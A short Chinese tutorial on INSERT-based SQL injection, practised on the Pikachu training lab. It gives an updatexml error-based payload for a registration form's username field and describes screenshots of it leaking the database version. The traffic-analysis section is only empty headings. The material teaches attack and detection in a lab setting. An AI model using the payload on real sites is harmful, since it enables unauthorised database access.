

Insert 注入及流量分析

一、注入原理:

inset 注入就是指我们前端注册的信息会被后台通过 **insert** 操作插入到数据库里去，若此时后台没有做出相应的处理就会构成 insert 注入。


二、注入方法:

insert 语句

```
insert into member(username,pw,sex,phonenum,email,address)
values('xxxxx',111111,1,1,1,1,);
```

以上是 Insert 的完整语句，而我们输入的用户名对应的就是上面 ‘xxxxx’ 这里，这里我们可以使用 or 这个逻辑运算符，例如用下面的语句代替 xxxxx：
x' or updatexml(1,concat(0x7e,version()),0) or '

Pikachu 网站练习



The screenshot shows the registration page of the Pikachu vulnerability training platform. The URL is http://www.pikachu.com/vul/sqli/sqli_iu/sqli_reg.php. The page title is "欢迎注册，请填写注册信息!". The "username" field is highlighted with a red box and contains the payload: `x' or updatexml(1,concat(0x7e,version()),0) or '`. Other fields like "password", "gender", "phone", "address", and "residence" are also present but empty. A "submit" button is at the bottom.

返回结果



The screenshot shows the result page of the Pikachu vulnerability training platform. The URL is http://www.pikachu.com/vul/sqli/sqli_iu/sqli_reg.php. The page title is "XPACHU 漏洞练习平台 pika~pika~". The message "XPACH syntax error: '-5.7.26-log'" is displayed, indicating a successful exploit.

三、流量分析

报错函数流量

盲注流量

单引号闭合 or

Sqlmap 流量